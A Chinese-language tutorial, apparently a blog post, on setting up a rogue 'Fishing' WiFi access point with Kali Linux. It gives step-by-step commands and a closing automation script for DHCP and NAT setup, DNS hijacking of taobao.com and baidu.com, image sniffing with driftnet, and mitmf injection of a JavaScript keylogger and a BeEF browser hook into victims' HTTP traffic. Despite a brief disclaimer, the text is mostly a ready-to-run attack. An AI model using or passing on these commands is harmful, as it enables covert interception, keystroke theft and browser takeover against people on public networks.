利用Kali進(jìn)行WiFi釣魚測試實(shí)戰(zhàn)
文中提及的部分技術(shù)可能帶有一定攻擊性,僅供安全學(xué)習(xí)和教學(xué)用途,禁止非法使用。請(qǐng)不要做一只咖啡館里安靜的猥瑣大叔。
寫在前面
從至少一年前我就一直想在自己跑kali的筆記本上架個(gè)釣魚熱點(diǎn)。然而由于網(wǎng)上的教程的nat寫得有問題,別人寫好的腳本和我電腦有些互不待見,最接近成功的一次只做到了qq能聊天,百度都上不去。
而最近忽然意識(shí)到了問題的所在,成功實(shí)現(xiàn)了建立wifi熱點(diǎn),dns劫持,js注入,圖片嗅探,和BEEF結(jié)合對(duì)用戶瀏覽器進(jìn)行攻擊測試。
故寫此文分享給大家,希望與之前的我有一樣困惑的同志們能有所收獲。
建立熱點(diǎn)
工具:isc-dhcp-server ;Aircrack-ng套件;iptables
建立過程:
首先寫dhcp配置文件/etc/dhcp/dhcpd.conf
寫入如下內(nèi)容:
authoritative; default-lease-time 700; max-lease-time 8000; subnet 10.0.0.0 netmask 255.255.255.0 { option routers 10.0.0.1; option subnet-mask 255.255.255.0; option domain-name-servers 10.0.0.1; range 10.0.0.10 10.0.0.100; }
這里以10.0.0.1作為網(wǎng)關(guān)和dns服務(wù)器地址。
然后我們處理無線網(wǎng)卡
ifconfig wlan1 down #wlan1修改成你的網(wǎng)卡 iwconfig wlan1 mode monitor ifconfig wlan1 up airmon-ng start wlan1
上述命令可以防止出現(xiàn):Error: Got channel -1, expected a value > 0.
然后用airbase建立熱點(diǎn)
airbase-ng -e Fishing -c 11 mon0
熱點(diǎn)的網(wǎng)絡(luò)流量會(huì)被虛擬到at0這塊網(wǎng)卡上面
ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
打開ip轉(zhuǎn)發(fā)
echo 1 > /proc/sys/net/ipv4/ip_forward
開啟dhcp
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 service isc-dhcp-server start
然后可以試著用手機(jī)連接,應(yīng)該可以連上但上不了網(wǎng)
于是配置NAT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #對(duì)eth0進(jìn)行源nat iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT #把無線網(wǎng)卡流量轉(zhuǎn)發(fā)到有線網(wǎng)卡(或者什么能上網(wǎng)的網(wǎng)卡)上面 iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大報(bào)文段長度
注意那第三個(gè)命令調(diào)整MSS,不加后果很嚴(yán)重(我就一直死在這里)
(這里可能還是DNS錯(cuò)誤,請(qǐng)看后文中的dns代理服務(wù)器搭建)
劫持DNS
工具:dnschef
過程:
dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53
上述命令是以ip10.0.0.1(上文中的fakeap網(wǎng)關(guān)和DNS的ip)建立dns,對(duì)于所有請(qǐng)求轉(zhuǎn)發(fā)到210.73.64.1進(jìn)行解析。顯然這只是個(gè)“代理”并沒有劫持的功效
于是我們進(jìn)化:
dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53
把淘寶和百度解析到本機(jī)了。
當(dāng)然可以把更多規(guī)則寫在文件里:
剩下的大家自由發(fā)揮吧。
p.s:這個(gè)和后文中mitmf沖突,mitmf識(shí)別http協(xié)議中的目的主機(jī),進(jìn)行轉(zhuǎn)發(fā),不受這個(gè)dns偽造影響。
圖片嗅探
這是一個(gè)很好玩的功能
工具:driftnet
過程:
driftnet -i at0
然后程序會(huì)打開一個(gè)小窗口顯示所有傳輸?shù)膱D片:
單擊圖片保存到/
當(dāng)然可以開啟 Adjunct mode:
driftnet -i at0 -a
直接保存圖片并顯示文件名。
#p#
劫持Web流量
這個(gè)更好玩
工具:BEEF;mitmf;iptables
過程:
先把80端口的流量劫持走(這里10000是mitmf默認(rèn)監(jiān)聽端口)
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
然后打開mitmf
mitmf -i at0 --replace --search-str aaaaa --replace-str bbbbb#把所有網(wǎng)頁中的aaaaa替換成bbbbb
上圖百度了aaaaa
好吧不要惡作劇了,上干貨
mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger
mitmf在這里注入了js鍵盤記錄器
和beef的攻擊測試腳本,其余的攻擊方式(比如javapwn)可以參考http://www.freebuf.com/tools/45796.html
最后用BEEF測試用戶瀏覽器吧!
/usr/share/beef-xss/beef
瀏覽器打開http://127.0.0.1:3000/ui/panel ,初始用戶名和密碼都是beef
BEEF過于高深我還沒玩得很清楚請(qǐng)大家自行探索。對(duì)了,不要忘了抓包
最后是我寫的腳本
#清空iptables iptables -t nat -F iptables -t nat -X iptables -t nat -P PREROUTING ACCEPT iptables -t nat -P POSTROUTING ACCEPT iptables -t nat -P OUTPUT ACCEPT iptables -t mangle -F iptables -t mangle -X iptables -t mangle -P PREROUTING ACCEPT iptables -t mangle -P INPUT ACCEPT iptables -t mangle -P FORWARD ACCEPT iptables -t mangle -P OUTPUT ACCEPT iptables -t mangle -P POSTROUTING ACCEPT iptables -F iptables -X iptables -P FORWARD ACCEPT iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -t raw -F iptables -t raw -X iptables -t raw -P PREROUTING ACCEPT iptables -t raw -P OUTPUT ACCEPT #建立熱點(diǎn) airmon-ng stop mon0 ifconfig wlan1 down #wlan1修改成你的網(wǎng)卡 iwconfig wlan1 mode monitor ifconfig wlan1 up airmon-ng start wlan1 & sleep 2 gnome-terminal -x bash -c "airbase-ng -e Fishing -c 11 mon0" #按需求修改 sleep 2 ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1400 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 echo 1 > /proc/sys/net/ipv4/ip_forward #配置dhcp dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 sleep 2 /etc/init.d/isc-dhcp-server start #nat iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #劫持80 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 #劫持dns gnome-terminal -x bash -c "dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53" #打開beef并進(jìn)行80js鍵盤記錄 gnome-terminal -x bash -c "mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger" beef-xss